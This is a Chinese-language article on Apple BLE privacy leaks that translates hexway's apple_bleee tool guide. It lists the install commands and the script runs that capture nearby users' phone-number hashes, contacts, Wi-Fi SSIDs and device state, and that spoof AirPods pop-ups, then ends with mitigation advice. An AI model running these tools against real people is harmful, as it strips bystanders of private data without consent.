在 2019 年的 WWDC 大会上 Apple 给 iOS13 正式添加了 Find My 功能,这个功能可以向附近使用中的 Apple 装置传送蓝牙讯号,即使处于这个设备是处于离线或睡眠模式,苹果仍可帮你将遗失的 Mac 定位出来。然后这些装置会将侦测到的Mac 位置回传至iCloud,让我们中定位其所在位置。

这项技术基于 BLE (Bluetooth Low Energy),而正是因为 Apple 的这种鼓励用户不关蓝牙(默认在 Control Center 里面并没有真正的关闭物理蓝牙,只是断开当前的蓝牙连接)的行为会造成用户的隐私泄漏。

(注:Find My 涉及到的传输部分和本文描述的攻击无关,Find My 目前尚未被外国网友 @hexway  所写的攻击脚本影响。)

因为在公众场合,打开设备蓝牙,可能会遭到恶意攻击。

目前已知情况是是骇客可以根据 BLE 来进行攻击,从而获取设备的当前状态,电池情况,设备名称,Wi-Fi状态,缓冲区可用性,操作系统版本的信息,甚至可以获取手机号码等。

攻击是如何进行的??


以下内容和图片部分翻译自外国网友 @hexway 在 GitHub 上发布的 apple-bleee ,如果对这个部分无兴趣可直接跳到本文最后一段查看解决方法。

准备工作

  • Kali Linux 系统
  • 额外的蓝牙适配器
  • 支持主动监控模式的 Wi-Fi 网卡
  • 攻击脚本

安装

# clone main repo git clone https://github.com/hexway/apple_bleee.git && cd ./apple_bleee # install dependencies sudo apt update && sudo apt install -y bluez libpcap-dev libev-dev libnl-3-dev libnl-genl-3-dev libnl-route-3-dev cmake libbluetooth-dev sudo pip3 install -r requirements.txt # clone and install owl for AWDL interface git clone https://github.com/seemoo-lab/owl.git && cd ./owl && git submodule update --init && mkdir build && cd build && cmake .. && make && sudo make install && cd ../..

获取用户信息

sudo python3 ble_read_state.py

这个脚本会嗅探 BLE 流量并显示 Apple 设备的状态消息。

此外,运行这行命令还会检测Apple设备的密码共享请求。

通过 Airdrop 获取手机号

sudo python3 airdrop_leak.py

运行后可以获得发送者的电话哈希值和 ip 地址

通过 WiFi 密码共享请求获取信息

sudo python3 adv_wifi.py -e

运行后可以获取受害者联系人中存在的任何联系人的电子邮件和电话信息,及受害者知道的无线网络网络的SSID。

模仿 AirPods 弹窗

sudo python3 adv_airpods.py -r

运行后可以模拟 AirPods 弹窗并且随机支配一个电量在手机上显示。

如何防范攻击?

根据 @hexway 的介绍,这种攻击方式从10.3.1(包括iOS 13 beta)开始的 iOS 版本中都会存在。

严格的来说这不是一种系统漏洞,这是 Apple 生态的一部分,这种东西一方面能够使人享受整个 Apple 生态圈的便利,但是另一方面也会造成少数窃取个人隐私的可能。

唯一的防范这种蓝牙攻击的方法是在公共场合时,使手机上蓝牙和 WIFI 都处于关闭状态

是否选择保护隐私是个人的权利,本文全文描述的攻击只针对特定场合和特定人群,一般来说在公众场合打开蓝牙不会受到此攻击。

注:iPhone 6s之前的所有设备只会通过 BLE 发送有限数量的消息,从某种角度上能够防范 BLE 的攻击,但也最好关闭蓝牙。